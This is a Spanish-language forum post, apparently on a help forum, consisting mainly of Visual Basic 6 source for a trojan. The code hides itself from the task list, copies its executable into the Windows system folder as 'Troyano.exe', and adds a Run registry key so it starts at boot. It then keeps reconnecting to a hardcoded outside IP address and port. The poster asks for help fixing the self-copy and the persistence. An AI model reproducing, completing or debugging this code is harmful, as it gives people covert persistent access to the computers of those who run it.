Código:
Option Explicit
Dim ip As String, port As String
Private Sub Form_Load()
Dim Residencia As Variant, Ruta As String, obj As Variant
Dim sys
Dim win
ip = "200.83.238.77"
port = 2700
Timer1.Interval = 1000
Ws(totalindex).RemoteHost = ip
Ws(totalindex).RemotePort = port
App.TaskVisible = False
Ruta = App.Path
If Right(Ruta, 1) <> "\" Then Ruta = Ruta & "\"
Ruta = Ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy Ruta, sys & "\Troyano.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", sys & "\troyano.exe"
End Sub
Private Sub Conectar_Click()
On Error GoTo Error
If Not Ws(Index).State = 7 Then
GoTo puente
Else
GoTo Error
End If
puente:
Ws(Index).Close
Ws(Index).Connect ip, port
Error:
End Sub
Private Sub Timer1_Timer()
If Not Ws(totalindex).State = 7 Then Call Conectar_Click
End Sub
miren
pero = parte al incio del pc, pero como pueden ver sale ese error
luego voi a c\windows\system32, ya encontre que el archivo se copio, pero cuando lo abro me sale esto
Ayuda Como puedo hacer para que se escriba en "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba" y que se copie bien, xq cuando voi a la carpeta original donde estaba se ejecuta bien, miren
pero cuando voi a c\windows\system32, como ven arriba no me sale
De ante manos gracias x leer todo esto